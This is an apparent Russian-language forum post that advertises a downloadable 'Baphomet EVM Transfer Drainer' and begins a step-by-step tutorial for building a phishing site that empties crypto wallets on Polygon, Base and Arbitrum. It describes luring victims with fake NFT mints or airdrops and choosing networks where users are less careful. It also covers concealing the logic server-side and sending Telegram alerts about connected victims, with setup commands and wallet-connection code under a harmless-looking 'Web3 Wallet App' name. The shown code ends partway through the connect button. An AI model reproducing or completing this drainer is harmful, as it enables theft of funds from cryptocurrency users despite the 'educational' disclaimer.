- Новое
- Добавить закладку
- #1
ВНУТРИ
ВИДЕО:
СКАЧАТЬ BAPHOMET EVM TRANSFER DRAINER С MEGA -
48.6 KB file on MEGA
1. ВВЕДЕНИЕ
1.1 Для кого эта статья
1.2 Что мы будем создавать
1.3 Важный дисклеймер
2. ОСНОВНЫЕ ТЕРМИНЫ И КОНЦЕПЦИИ
2.1 Что такое мультичейн drainer
2.2 Wallet (кошелек)
2.3 EVM (Ethereum Virtual Machine)
2.4 Gas и транзакции
2.5 Smart Contract и ABI
2.6 RPC Node
2.7 EIP-1559 vs Legacy транзакции
3. EVM СЕТИ И L2 РЕШЕНИЯ
3.0 Почему именно эти три сети
3.1 Polygon (PoS)
3.2 Base
3.3 Arbitrum
4. АРХИТЕКТУРА И ВЫБОР СТЕКА
4.1 Почему Next.js 15 + React 19 + TypeScript
4.2 Почему Reown AppKit
4.3 Структура проекта
5. ШАГ 1: ПОДКЛЮЧЕНИЕ КОШЕЛЬКА
5.1 Регистрация Reown AppKit
5.2 Установка зависимостей
5.3 Создаем config/wagmi.ts
5.4 Создаем Web3Provider.tsx
5.5 Создаем AppKitButton.tsx
5.6 Интегрируем в layout.tsx
5.7 Мобильная поддержка
6. ШАГ 2: СКАНИРОВАНИЕ КОШЕЛЬКА
6.1 Создаем API route scan-wallet
6.2 Получение нативного баланса
6.3 Получение ERC-20 балансов
6.4 Интеграция CoinGecko для цен
6.5 Автоматический запуск сканирования
7. ШАГ 3: TELEGRAM УВЕДОМЛЕНИЯ О ПОДКЛЮЧЕНИИ
7.1 Создание Telegram бота
7.2 Получение Chat ID
7.3 Создаем API route telegram
7.4 Форматирование сообщения (Markdown)
8. ШАГ 4: ВИДЫ СПИСАНИЙ В DRAINER
8.1 Transfer - прямой перевод
8.2 Approve + TransferFrom
8.3 Permit (EIP-2612)
8.4 Permit2
8.5 Почему мы выбрали Transfer
9. ШАГ 5: УМНЫЙ РАСЧЕТ GAS
9.1 Проблема с недоступным RPC
9.2 Создаем lib/gas-estimation.ts
9.3 Функция smartEstimateGas
9.4 EIP-1559 газ
9.5 Legacy газ
9.6 Fallback значения
10. ШАГ 6: СИМУЛЯЦИЯ КОМИССИЙ И ПРИОРИТЕТ СЕТЕЙ
10.1 Создаем simulate-transactions route
10.2 Сбор данных по всем сетям
10.3 Сортировка сетей по USD стоимости
10.4 Расчет комиссий перед транзакциями
10.5 Формирование транзакций
11. ШАГ 7: ВЫПОЛНЕНИЕ ТРАНЗАКЦИЙ
11.1 Клиентская логика в page.tsx
11.2 Автоматическое переключение сетей
11.3 Подписание транзакций
11.4 Обработка ошибок
11.5 UI/UX статус выполнения
12. ШАГ 8: TELEGRAM УВЕДОМЛЕНИЯ ОБ APPROVE
12.1 Создаем telegram-approve route
12.2 Отслеживание статуса по сетям
12.3 Форматирование с галочками и крестиками
13. ТИПИЧНЫЕ ОШИБКИ И ОТЛАДКА
14. ДЕПЛОЙ И PRODUCTION
15. ЗАКЛЮЧЕНИЕ
================================================================================
ГЛАВА 1. ВВЕДЕНИЕ
Что конкретно мы будем создавать в рамках этой статьи? Мы построим полностью функциональное приложение, которое будет обладать следующими возможностями. Во-первых, приложение сможет подключаться к различным Web3 кошелькам - MetaMask, Trust Wallet, Coinbase Wallet, Rainbow и более чем 20+ другим кошелькам через универсальный интерфейс Reown AppKit. Во-вторых, система будет автоматически сканировать балансы пользователя сразу в трех блокчейн сетях - Polygon, Base и Arbitrum. В-третьих, приложение будет умно рассчитывать комиссии за газ с использованием продвинутого fallback-механизма, который обеспечит корректную работу даже при недоступности RPC узлов. В-четвертых, система будет списывать активы в порядке приоритета от большей USD стоимости к меньшей, что обеспечит максимальную эффективность. И наконец, приложение будет отправлять детальные уведомления в Telegram о каждом подключении кошелька и каждой успешной транзакции.
Данная статья создана исключительно в образовательных целях для понимания механизмов работы Web3 приложений и существующих уязвимостей. Автор категорически не несет никакой ответственности за использование представленного кода в незаконных или неэтичных целях. Использование подобных технологий для несанкционированного списания средств является серьезным преступлением и преследуется по закону во всех юрисдикциях. Цель данной статьи - обучение принципам безопасности и понимание потенциальных рисков при взаимодействии с Web3 приложениями.
ГЛАВА 2. ФУНДАМЕНТАЛЬНЫЕ ПОНЯТИЯ И ТЕРМИНОЛОГИЯ
2.1 Что такое мультичейн drainer и как он работает
Drainer - это термин, происходящий от английского слова drain, что означает осушать или истощать. В контексте криптовалют drainer представляет собой специализированное Web3 приложение, которое маскируется под легитимный dApp, то есть децентрализованное приложение, но на самом деле выполняет несанкционированное списание средств из кошельков пользователей. Современные drainer-приложения работают сразу с несколькими блокчейн-сетями одновременно, отсюда и появился термин мультичейн drainer.
Существует несколько типов drainer-приложений в зависимости от их функциональности. Single-chain drainer работает только с одной конкретной сетью, например только с Ethereum mainnet. Multi-chain drainer поддерживает несколько EVM-совместимых сетей одновременно и может сканировать балансы сразу во всех поддерживаемых сетях. Cross-chain drainer представляет собой наиболее продвинутый тип, который может работать даже с non-EVM сетями, такими как Solana или TON.
Почему именно мультичейн архитектура стала стандартом? Ответ очень прост - современные пользователи криптовалют держат свои активы не только в основной сети Ethereum, но и в различных Layer 2 решениях таких как Polygon, Arbitrum и Base. Причина в низких комиссиях - совершение транзакций в L2 сетях обходится в десятки и сотни раз дешевле чем в mainnet Ethereum. Single-chain drainer увидит только часть активов пользователя и упустит значительную сумму средств в других сетях. Мультичейн drainer сканирует все поддерживаемые сети одновременно и способен списать максимально возможную сумму активов.
Как это работает на практике? Типичный сценарий выглядит следующим образом. Пользователь получает ссылку на фишинговый сайт, который маскируется под легитимный сервис - например под минт популярной NFT коллекции или airdrop токенов. Пользователь заходит на сайт и нажимает кнопку Connect Wallet для подключения своего кошелька. После подключения drainer автоматически сканирует все балансы во всех поддерживаемых сетях и формирует список транзакций для списания. Пользователь видит запрос на подтверждение транзакции в своем кошельке и подписывает ее, не понимая реальных последствий. После подтверждения средства автоматически переводятся на адрес злоумышленника. Важно понимать что технически это абсолютно обычные транзакции, которые проходят через стандартные механизмы блокчейна - просто они инициированы обманным путем.
2.2 Кошельки в экосистеме Web3
Web3 кошелек представляет собой программное обеспечение, которое хранит приватные ключи пользователя и позволяет взаимодействовать с блокчейном. В отличие от банковского приложения, которое хранит информацию о ваших деньгах, криптовалютный кошелек не хранит сами средства - он хранит только криптографические ключи для управления активами, которые записаны непосредственно в блокчейне.
Существует несколько типов кошельков. Browser Extension - это расширения для браузера, наиболее известными представителями которых являются MetaMask и Rabby. Mobile wallets - это мобильные приложения такие как Trust Wallet и Rainbow. Hardware wallets - это физические устройства вроде Ledger и Trezor, которые обеспечивают максимальный уровень безопасности. Web wallets позволяют подключаться через QR-код по протоколу WalletConnect.
Ключевые понятия которые необходимо понимать при работе с кошельками. Seed-фраза состоит из 12 или 24 слов и представляет собой главный ключ для восстановления кошелька. Любой кто знает seed-фразу получает полный контроль над кошельком. Private key - это криптографический ключ который используется для подписи транзакций. Он никогда не должен покидать устройство пользователя. Public address - это публичный адрес начинающийся с 0x, который используется для получения средств. Его можно безопасно показывать кому угодно.
Когда пользователь нажимает кнопку Connect Wallet на сайте, dApp запрашивает разрешение только на чтение публичного адреса и баланса. Для выполнения транзакций требуется дополнительное подтверждение - пользователь должен подписать транзакцию своим приватным ключом. При этом приватный ключ никогда физически не покидает кошелек - кошелек сам подписывает транзакцию и возвращает только подпись.
2.3 EVM и EVM-совместимые сети
EVM расшифровывается как Ethereum Virtual Machine - это виртуальная машина которая выполняет смарт-контракты в сети Ethereum. Ключевое преимущество EVM заключается в том что множество других блокчейнов используют совместимую архитектуру. Такие сети называются EVM-compatible и к ним относятся Polygon, BSC, Avalanche, Arbitrum, Base, Optimism и многие другие.
Что означает EVM-совместимость на практике? Это дает несколько важных преимуществ. Один и тот же смарт-контракт можно развернуть в разных EVM-сетях без каких-либо изменений в коде. Адреса кошельков имеют одинаковый формат во всех EVM-сетях - это всегда строка из 42 символов начинающаяся с 0x. Транзакции подписываются абсолютно одинаковым способом независимо от сети. И что особенно важно - один приватный ключ автоматически работает во всех EVM-сетях.
Для drainer-приложения это дает огромное преимущество. Зная публичный адрес кошелька пользователя, мы автоматически знаем его адрес во всех EVM-сетях - он будет абсолютно идентичным. Таким образом одно подключение кошелька открывает возможность проверить балансы пользователя в десятках блокчейн сетей одновременно.
2.4 Газ и структура транзакций
Gas или газ - это комиссия за выполнение операций в блокчейне. Газ оплачивается в нативной монете соответствующей сети. В Ethereum это ETH, в Polygon это POL (ранее MATIC), в Base и Arbitrum используется ETH. Каждая операция в блокчейне требует определенного количества газа для выполнения.
Структура транзакции включает несколько важных параметров. gasLimit - это максимальное количество газа которое может быть потрачено на выполнение транзакции. Если транзакция потребует больше газа чем указано в лимите, она будет отменена, но газ все равно будет списан. В Legacy формате транзакций используется параметр gasPrice - фиксированная цена за единицу газа в Gwei. В современном формате EIP-1559 используются параметры maxFeePerGas - максимальная цена которую пользователь готов заплатить, и maxPriorityFeePerGas - чаевые майнерам или валидаторам за приоритетную обработку транзакции.
Формула расчета комиссии за транзакцию выглядит следующим образом. Transaction Fee равняется gasUsed умноженному на gasPrice. Результат получается в нативной монете сети. Приведем конкретный пример. Если gasLimit равен 80000, gasPrice равен 50 Gwei, и транзакция использовала весь лимит газа, то комиссия составит 80000 умножить на 50 Gwei что равно 4000000 Gwei или 0.004 ETH.
Для drainer-приложения критически важно точно рассчитывать газ. Необходимо убедиться что у пользователя достаточно нативной монеты для оплаты комиссий за все запланированные транзакции. Если отправить транзакцию без достаточного количества газа, она просто провалится и средства не будут списаны.
2.5 Смарт-контракты и ABI
Smart Contract или смарт-контракт - это программа которая хранится в блокчейне и выполняется автоматически при определенных условиях. Все ERC-20 токены такие как USDT и USDC являются смарт-контрактами со стандартным набором функций - transfer для перевода токенов, approve для выдачи разрешения на списание, balanceOf для проверки баланса.
ABI расшифровывается как Application Binary Interface - это интерфейс для взаимодействия с контрактом. ABI описывает все доступные функции контракта, их параметры и типы возвращаемых значений. Без ABI невозможно корректно вызвать функции смарт-контракта.
Рассмотрим пример вызова функции transfer через ABI. В человекочитаемом формате это выглядит как contract.transfer(recipient, amount). Однако для отправки транзакции этот вызов должен быть закодирован в специальный формат. Поле data транзакции будет содержать function selector 0xa9059cbb, затем адрес получателя выровненный до 32 байт, и сумму перевода также выровненную до 32 байт. Function selector представляет собой первые 4 байта keccak256 хеша от строки transfer(address,uint256). Каждая функция контракта имеет свой уникальный selector.
2.6 RPC узлы и взаимодействие с блокчейном
RPC расшифровывается как Remote Procedure Call - это узел блокчейна который предоставляет API для взаимодействия с сетью. Через RPC мы можем выполнять все необходимые операции - отправлять транзакции, читать балансы, вызывать функции контрактов, получать информацию о блоках.
Основные методы RPC которые мы будем использовать. Метод eth_getBalance позволяет получить баланс нативной монеты по адресу. Метод eth_call используется для вызова функций контракта в режиме только чтение без создания транзакции. Метод eth_sendRawTransaction отправляет подписанную транзакцию в сеть. Метод eth_estimateGas оценивает необходимое количество газа для выполнения транзакции. Метод eth_maxPriorityFeePerGas возвращает рекомендуемую priority fee для EIP-1559 транзакций. Метод eth_getBlockByNumber позволяет получить данные блока включая текущую baseFee.
Существует несколько типов RPC узлов. Публичные бесплатные RPC предоставляют ограниченный доступ с лимитами на количество запросов - примерами являются бесплатные тарифы Infura и Alchemy. Платные RPC обеспечивают быструю и стабильную работу без ограничений - Infura, Alchemy, QuickNode. Приватные ноды представляют собой собственные развернутые узлы что дает максимальную надежность, но требует значительных затрат на инфраструктуру.
Для drainer-приложения важно понимать что публичные RPC могут быть недоступны или отвечать очень медленно. Поэтому критически важна fallback-стратегия - если не удалось получить данные через один RPC, нужно автоматически переключиться на другой, а если все RPC недоступны - использовать предустановленные значения.
2.7 EIP-1559 и Legacy транзакции
До августа 2021 года в Ethereum использовался только Legacy формат транзакций. В этом формате указывается фиксированная цена за газ gasPrice и лимит газа gasLimit. Пользователь платит фиксированную цену независимо от текущей загрузки сети. Если сеть загружена и цена газа выросла, транзакция может застрять в очереди.
EIP-1559 представляет собой обновление введенное в августе 2021 года которое изменило механизм расчета комиссий. В новом формате используются параметры maxFeePerGas - максимум который пользователь готов заплатить, maxPriorityFeePerGas - чаевые валидаторам, и gasLimit.
Формула расчета фактической комиссии в EIP-1559 выглядит следующим образом. Actual Fee равняется сумме baseFee и priorityFee умноженной на gasUsed. При этом baseFee - это динамическая базовая цена которая определяется протоколом и сжигается, а priorityFee - это чаевые которые идут валидатору.
Преимущества EIP-1559 значительны. Комиссии становятся более предсказуемыми потому что baseFee меняется плавно и не может измениться более чем на 12.5% за блок. Пользователь может установить максимум который готов заплатить, а сеть сама подберет оптимальную цену. Также EIP-1559 создает дефляционный механизм поскольку baseFee сжигается.
Какие сети используют какой формат? Ethereum, Polygon и Base полностью поддерживают EIP-1559. Arbitrum технически поддерживает EIP-1559, но на практике работает больше как Legacy из-за особенностей L2 архитектуры. В нашем drainer-приложении мы будем автоматически определять тип транзакции в зависимости от сети.
ГЛАВА 3. EVM СЕТИ И ВЫБОР БЛОКЧЕЙНОВ
3.1 Почему именно Polygon, Base и Arbitrum
Мы выбрали три конкретные сети для нашего drainer-приложения не случайно - Polygon, Base и Arbitrum являются тремя самыми популярными L2 и sidechain решениями по количеству активных пользователей и показателю TVL (Total Value Locked - общая заблокированная стоимость).
Критерии выбора сетей были следующими. Первый критерий - высокая активность пользователей. Чем больше людей использует сеть, тем больше потенциальных целей для drainer-приложения. Второй критерий - низкие комиссии. Пользователи переводят основную массу своих средств в сети с низкими комиссиями для активного использования в DeFi протоколах. Третий критерий - EVM-совместимость. Один и тот же код работает для всех трех сетей без модификаций. Четвертый критерий - наличие популярных токенов. USDT и USDC доступны во всех трех выбранных сетях.
Статистика по TVL на начало 2024 года показывает следующие цифры. Arbitrum удерживает лидерство с примерно 2.3 миллиардами долларов. Base демонстрирует быстрый рост благодаря интеграции с Coinbase и достигает примерно 1.5 миллиардов долларов. Polygon удерживает позиции с примерно 1.1 миллиардами долларов.
3.2 Polygon
Polygon представляет собой сайдчейн Ethereum который работает по принципу Proof of Stake. Ранее эта сеть была известна под названием Matic Network и до сих пор многие называют нативную монету MATIC, хотя официально она была переименована в POL.
Ключевые технические характеристики Polygon. Chain ID равен 137 - это уникальный идентификатор сети который используется при подписании транзакций. Нативная монета - POL (ранее MATIC). Время блока составляет примерно 2 секунды что обеспечивает быстрое подтверждение транзакций. Комиссии находятся в диапазоне от 0.01 до 0.05 долларов за транзакцию что делает сеть очень доступной. Основной публичный RPC - https://polygon-rpc.com.
На Polygon развернуты многие популярные DeFi протоколы. QuickSwap является главной децентрализованной биржей сети. Aave предоставляет сервисы кредитования и заимствования. Uniswap V3 также доступен в сети Polygon.
Особенности Polygon для drainer-приложения. Очень низкие комиссии означают что даже небольшие балансы становится выгодно списывать. Полная поддержка EIP-1559 с baseFee обычно в диапазоне 30-100 Gwei. Высокая скорость подтверждения транзакций минимизирует время ожидания.
Популярные токены в сети Polygon и их контракты. USDT имеет адрес 0xc2132D05D31c914a87C6611C10748AEb04B58e8F. USDC доступен по адресу 0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359. WETH (wrapped ETH) находится по адресу 0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619.
3.3 Base - L2 от Coinbase с массовой аудиторией
Base представляет собой Layer 2 решение разработанное биржей Coinbase и построенное на технологии Optimistic Rollup с использованием OP Stack от Optimism.
Ключевые технические характеристики Base. Chain ID равен 8453. Нативная монета - ETH, такая же как в mainnet Ethereum. Время блока составляет примерно 2 секунды. Комиссии находятся в диапазоне от 0.01 до 0.03 долларов за транзакцию - это одни из самых низких комиссий среди всех L2 решений. Основной публичный RPC - https://mainnet.base.org.
Почему Base особенно важен для drainer-приложения? Интеграция с Coinbase означает что миллионы пользователей биржи могут напрямую выводить средства на Base без использования мостов. Сеть запустилась в августе 2023 года но уже вошла в топ-5 L2 решений по объему TVL. Низкие комиссии конкурируют с Polygon и привлекают пользователей.
Популярные протоколы на Base включают Uniswap для обмена токенов, Aerodrome как главную нативную DEX, и Moonwell для кредитования.
Особенности Base для drainer-приложения. Очень низкий baseFee - часто в диапазоне 0.001-0.01 Gwei что значительно ниже чем в Polygon. Много новых пользователей которые пришли с Coinbase и могут быть менее осторожны в вопросах безопасности. Интеграция с централизованной биржей делает Base популярным местом для хранения значительных сумм.
Популярные токены в сети Base. USDC имеет адрес 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913. WETH доступен по адресу 0x4200000000000000000000000000000000000006.
3.4 Arbitrum - лидер среди L2 решений
Arbitrum представляет собой Layer 2 решение разработанное компанией Offchain Labs и использующее технологию Optimistic Rollup. На текущий момент Arbitrum является крупнейшим L2 по объему TVL.
Ключевые технические характеристики Arbitrum. Chain ID равен 42161. Нативная монета - ETH. Время блока составляет примерно 0.25 секунды что делает Arbitrum одним из самых быстрых L2 решений. Комиссии находятся в диапазоне от 0.05 до 0.20 долларов за транзакцию - выше чем в Polygon и Base, но все равно значительно ниже mainnet Ethereum. Основной публичный RPC - https://arb1.arbitrum.io/rpc.
Технологические особенности Arbitrum. Используются Fraud Proofs - транзакции считаются валидными пока не доказано обратное. Вывод средств на L1 Ethereum требует 7-дневного периода ожидания. Финализация транзакций происходит практически мгновенно.
Популярные протоколы на Arbitrum. GMX является ведущей биржей бессрочных фьючерсов. Camelot представляет собой нативную DEX сети. Radiant Capital предоставляет кроссчейн кредитование.
Особенности Arbitrum для drainer-приложения. Самая высокая комиссия среди трех выбранных сетей, но все равно приемлемая. Arbitrum активно используется для торговли что означает частое наличие значительных балансов у пользователей. Работает больше как Legacy gas несмотря на техническую поддержку EIP-1559. Собственный токен ARB часто присутствует в кошельках пользователей.
Популярные токены в сети Arbitrum. USDT имеет адрес 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9. USDC доступен по адресу 0xaf88d065e77c8cC2239327C5EDb3A432268e5831. ARB находится по адресу 0x912CE59144191C1204E64559FE8253a0e49E6548. WETH имеет адрес 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1.
ГЛАВА 4. АРХИТЕКТУРА ПРИЛОЖЕНИЯ И ТЕХНОЛОГИЧЕСКИЙ СТЕК
4.1 Выбор Next.js 15 и React 19
Next.js 15 представляет собой современный React-фреймворк с серверным рендерингом который идеально подходит для Web3 приложений по нескольким причинам.
Первое преимущество - API Routes. Next.js позволяет создавать серверные эндпоинты прямо внутри проекта. Это критически важно для drainer-приложения потому что позволяет скрыть чувствительную логику на сервере. Эндпоинт /api/scan-wallet выполняет сканирование балансов без раскрытия логики клиенту. Эндпоинт /api/simulate-transactions рассчитывает газ и подготавливает транзакции на сервере. Эндпоинт /api/telegram отправляет уведомления без раскрытия токенов бота в клиентском коде.
Второе преимущество - Server Components. В Next.js 15 часть кода выполняется на сервере что скрывает критическую логику от пользователя. Пользователь не может посмотреть исходный код серверных компонентов в DevTools браузера.
Третье преимущество - встроенная оптимизация. Next.js автоматически выполняет code splitting разбивая код на чанки, оптимизирует изображения и обеспечивает быструю загрузку страниц.
Четвертое преимущество - Vercel.com Деплой на Vercel происходит буквально одной командой без дополнительной настройки.
React 19 приносит несколько важных улучшений. Новый хук useEffectEvent позволяет извлекать не-реактивную логику из эффектов. Улучшенная производительность и лучшая поддержка Suspense для асинхронных операций.
TypeScript обеспечивает строгую типизацию которая предотвращает множество потенциальных ошибок. Например мы можем строго типизировать структуру транзакции.
Код:
interface Transaction {
to: `0x${string}`;
value?: bigint;
data?: `0x${string}`;
chainId: number;
}
4.2 Почему Reown AppKit для подключения кошельков
Reown AppKit, ранее известный как WalletConnect Web3Modal, представляет собой универсальную библиотеку для подключения криптовалютных кошельков к Web3 приложениям.
Главное преимущество Reown AppKit - один интерфейс для всех кошельков. Библиотека поддерживает MetaMask, Trust Wallet, Coinbase Wallet, Rainbow, Ledger и более 300 других кошельков. Разработчику не нужно писать отдельную интеграцию для каждого кошелька - все работает из коробки.
Второе важное преимущество - полноценная мобильная поддержка через deeplinks. Пользователь может отсканировать QR-код для подключения мобильного кошелька. Автоматически генерируются deeplinks вида metamask://wc?uri=... для прямого открытия приложения кошелька.
Почему drainer-приложения используют именно Reown AppKit? Легитимность - пользователи видят знакомый интерфейс WalletConnect который они встречали на множестве легитимных сайтов. Доверие - логотипы известных кошельков создают ощущение безопасности. Простота - подключение кошелька занимает буквально 3 клика.
Встроенная поддержка нескольких сетей является ключевой функцией. AppKit автоматически управляет переключением между сетями. Одна транзакция требует только одного подтверждения от пользователя.
4.3 Структура проекта
Наш проект имеет четкую и логичную структуру которая разделяет код на логические модули.
Директория app содержит основные файлы приложения. Файл layout.tsx является главным layout который оборачивает все страницы в Web3Provider. Файл page.tsx содержит основную страницу с пользовательским интерфейсом. Файл globals.css содержит глобальные стили и настройки Tailwind CSS.
Поддиректория app/api содержит все серверные API routes. Файл scan-wallet/route.ts отвечает за сканирование балансов во всех сетях. Файл simulate-transactions/route.ts выполняет симуляцию и подготовку транзакций. Файл telegram/route.ts отправляет уведомление о подключении кошелька. Файл telegram-approve/route.ts отправляет уведомление об успешном approve.
Директория components содержит React компоненты. Файл Web3Provider.tsx инициализирует AppKit и оборачивает приложение. Файл AppKitButton.tsx представляет кнопку подключения кошелька. Поддиректория ui содержит компоненты shadcn/ui.
Директория lib содержит утилиты и вспомогательные функции. Файл gas-estimation.ts реализует умный расчет газа с fallback механизмом. Файл multicall.ts обеспечивает batch запросы для токенов.
Директория config содержит конфигурационные файлы. Файл wagmi.ts содержит конфигурацию поддерживаемых сетей.
Директория types содержит TypeScript типы. Файл appkit.d.ts содержит типы для AppKit.
Файл .env.local содержит приватные переменные окружения - NEXT_PUBLIC_PROJECT_ID для AppKit, токен Telegram бота и ID чата.
Принцип разделения кода очень важен. Клиентская часть в app/page.tsx содержит минимальную логику - только UI и вызовы API. Серверная часть в app/api/* содержит всю критическую логику, расчеты и токены. Библиотеки в lib/* содержат переиспользуемую логику. Конфигурация в config/* содержит настройки сетей и провайдеров.
ГЛАВА 5. РЕГИСТРАЦИЯ REOWN APPKIT И НАСТРОЙКА ПРОЕКТА
5.1 Пошаговая регистрация в Reown Cloud
Перед началом разработки нам необходимо получить Project ID от Reown. Это уникальный идентификатор который связывает наше приложение с сервисами WalletConnect.
Переходим на официальный сайт https://cloud.reown.com. Нажимаем кнопку Sign Up или Get Started в правом верхнем углу.
Заполняем форму регистрации указывая email и пароль. Подтверждаем email перейдя по ссылке в письме.
После входа в аккаунт нажимаем кнопку Create Project для создания нового проекта.
Заполняем информацию о проекте. В поле Name указываем название - например EVM или любое другое на ваш выбор.
После создания проекта система автоматически сгенерирует Project ID. Это строка вида 93e6c4L7f5a12b3c4d5e6f7a8b9c0d1e. Копируем этот идентификатор - он понадобится нам на следующем шаге.
Важный момент - необходимо настроить Allowed Domains в настройках проекта. Добавляем localhost для локальной разработки. Добавляем ваш production домен например tuta-drainer.vercel.app для продакшена. Без этой настройки AppKit не будет работать на указанных доменах.
Сохраняем Project ID - мы будем использовать его в переменной окружения NEXT_PUBLIC_WALLETCONNECT_PROJECT_ID. Обратите внимание что Project ID является публичным и его видно в клиентском коде, но без доступа к вашему Reown аккаунту никто не может изменить настройки проекта.
5.2 Установка зависимостей проекта
Создаем новый Next.js 15 проект и устанавливаем все необходимые пакеты. Открываем терминал и выполняем следующие команды.
Команда для создания Next.js приложения с TypeScript и Tailwind CSS:
Bash:
npx create-next-app@latest tuta-drainer --typescript --tailwind --app
Переходим в папку созданного проекта:
Bash:
cd tuta-drainer
Устанавливаем Web3 зависимости:
Bash:
npm install @reown/appkit @reown/appkit-adapter-wagmi wagmi viem @tanstack/react-query
Устанавливаем дополнительные библиотеки:
Bash:
npm install encoding lucide-react
Разберем что мы установили. Пакет @reown/appkit - это основная библиотека для подключения кошельков и управления модальным окном. Пакет @reown/appkit-adapter-wagmi - адаптер который связывает AppKit с библиотекой Wagmi. Пакет wagmi предоставляет React hooks для взаимодействия с Ethereum и EVM-совместимыми сетями. Пакет viem - это легковесная и быстрая альтернатива ethers.js для работы с блокчейном. Пакет @tanstack/react-query обеспечивает кеширование данных и управление состоянием запросов. Пакет encoding - это фикс для некоторых полифилов в браузере. Пакет lucide-react предоставляет иконки для интерфейса.
5.3 Создание конфигурации сетей
Первым делом создаем конфигурацию поддерживаемых сетей. Это фундамент нашего приложения на котором строится все остальное. Создаем файл config/wagmi.ts со следующим содержимым.
Код:
import { cookieStorage, createStorage } from "@wagmi/core"
import { WagmiAdapter } from "@reown/appkit-adapter-wagmi"
import { arbitrum, polygon, base } from "@reown/appkit/networks"
export const projectId = process.env.NEXT_PUBLIC_WALLETCONNECT_PROJECT_ID || ""
if (!projectId) {
console.warn('WalletConnect Project ID не найден! Deep links могут не работать.')
}
export const networks = [polygon, base, arbitrum] as const
export const wagmiAdapter = new WagmiAdapter({
storage: createStorage({
storage: cookieStorage,
}),
ssr: true,
projectId,
networks,
})
export const config = wagmiAdapter.wagmiConfig
Давайте детально разберем каждую часть этого кода. Импортируем cookieStorage и createStorage из wagmi/core - они нужны для сохранения состояния подключения в cookies. WagmiAdapter из reown связывает AppKit с Wagmi. Из @reown/appkit/networks импортируем готовые конфигурации сетей - polygon с Chain ID 137, base с Chain ID 8453, и arbitrum с Chain ID 42161.
Переменная projectId получает значение из переменной окружения. Обратите внимание на префикс NEXT_PUBLIC_ - он обязателен для переменных которые должны быть доступны в клиентском коде.
Массив networks содержит все поддерживаемые сети. Порядок сетей в массиве определяет порядок их отображения в модальном окне выбора сети.
WagmiAdapter создается с несколькими параметрами. storage использует cookieStorage что позволяет сохранять состояние подключения - пользователь останется подключенным после перезагрузки страницы. Параметр ssr установлен в true для поддержки серверного рендеринга Next.js. projectId - наш идентификатор от Reown. networks - список поддерживаемых сетей.
Теперь создаем файл переменных окружения .env.local в корне проекта:
Код:
NEXT_PUBLIC_WALLETCONNECT_PROJECT_ID=ваш_project_id_от_reown
5.4 Создание Web3 Provider
Теперь создаем провайдер который будет оборачивать все приложение и инициализировать AppKit. Создаем файл components/Web3Provider.tsx.
Код:
'use client'
import { wagmiAdapter, projectId, networks } from '@/config/wagmi'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import { createAppKit } from '@reown/appkit/react'
import React, { type ReactNode, useState, useEffect } from 'react'
import { cookieToInitialState, WagmiProvider, type Config } from 'wagmi'
const queryClient = new QueryClient()
const getAppUrl = () => {
if (typeof window === 'undefined') return 'https://your-domain.vercel.app'
return window.location.origin
}
const metadata = {
name: 'Web3 Wallet App',
description: 'Connect and manage your crypto wallet',
url: getAppUrl(),
icons: ['https://avatars.githubusercontent.com/u/37784886'],
}
const featuredWalletIds = [
'c57ca95b47569778a828d19178114f4db188b89b763c899ba0be274e97267d96',
'4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0',
'fd20dc426fb37566d803205b19bbc1d4096b248ac04548e3cfb6b3a38bd033aa',
]
let appKitInitialized = false
function initializeAppKit() {
if (appKitInitialized) return
if (typeof window === 'undefined') return
if (!projectId) return
createAppKit({
adapters: [wagmiAdapter],
projectId,
networks,
metadata,
featuredWalletIds,
allWallets: 'ONLY_MOBILE',
enableWalletConnect: true,
enableInjected: true,
enableCoinbase: true,
themeMode: 'light',
enableOnramp: false,
features: {
email: false,
socials: false,
},
})
appKitInitialized = true
}
export function Web3Provider({
children,
cookies
}: {
children: ReactNode
cookies: string | null
}) {
const [mounted, setMounted] = useState(false)
useEffect(() => {
initializeAppKit()
setMounted(true)
}, [])
const initialState = cookieToInitialState(
wagmiAdapter.wagmiConfig as Config,
cookies
)
return (
<WagmiProvider config={wagmiAdapter.wagmiConfig as Config} initialState={initialState}>
<QueryClientProvider client={queryClient}>
{mounted ? children : null}
</QueryClientProvider>
</WagmiProvider>
)
}
Разберем этот код детально. Директива 'use client' в начале файла указывает Next.js что это клиентский компонент который должен выполняться в браузере.
QueryClient создается для кеширования запросов к блокчейну. Это предотвращает повторные запросы балансов при каждом рендере компонента.
Объект metadata содержит информацию о нашем dApp которая отображается в кошельке при подключении. Поле name показывается пользователю. Поле url критически важно для deeplinks - кошельки будут использовать этот URL для возврата в приложение после подтверждения. Поле icons содержит логотип который увидит пользователь.
Массив featuredWalletIds содержит идентификаторы кошельков которые будут показаны первыми в списке. Первый идентификатор - MetaMask, второй - Trust Wallet, третий - Coinbase Wallet.
Функция initializeAppKit создает экземпляр AppKit только один раз. Флаг appKitInitialized предотвращает повторную инициализацию. Проверки typeof window === 'undefined' и !projectId защищают от ошибок во время SSR и при отсутствии конфигурации.
Параметры createAppKit настраивают поведение модального окна. enableWalletConnect включает подключение через QR-код. enableInjected включает browser extension кошельки. enableCoinbase включает Coinbase Wallet. features.email и features.socials отключены - нам не нужен вход через email или социальные сети.
WagmiProvider оборачивает приложение и предоставляет доступ к хукам wagmi. QueryClientProvider обеспечивает кеширование данных. Условие mounted ? children : null предотвращает рендеринг до завершения инициализации на клиенте.
5.5 Создание кнопки подключения кошелька
Создаем компонент кнопки для подключения кошелька. Создаем файл components/AppKitButton.tsx.
Код:
"use client"
import { useAppKit } from "@reown/appkit/react"
import { Button } from "@/components/ui/button"
import { Wallet, Smartphone } from "lucide-react"
import { useEffect, useState } from "react"
function isMobileDevice(): boolean {
if (typeof window === 'undefined') return false
return /iPhone|iPad|iPod|Android/i.test(navigator.userAgent)
}
export default function AppKitButton() {
const { open } = useAppKit()
const [isMobile, setIsMobile] = useState(false)
useEffect(() => {
setIsMobile(isMobileDevice())
}, [])
const handleConnect = () => {
console.log('Wallet connect button clicked')
console.log('Device:', isMobile ? 'Mobile' : 'Desktop')
open()
}
return (
<Button
onClick={handleConnect}
className="bg-blue-600 hover:bg-blue-700 text-white px-6 py-3 h-auto text-base"
>
{isMobile ? (
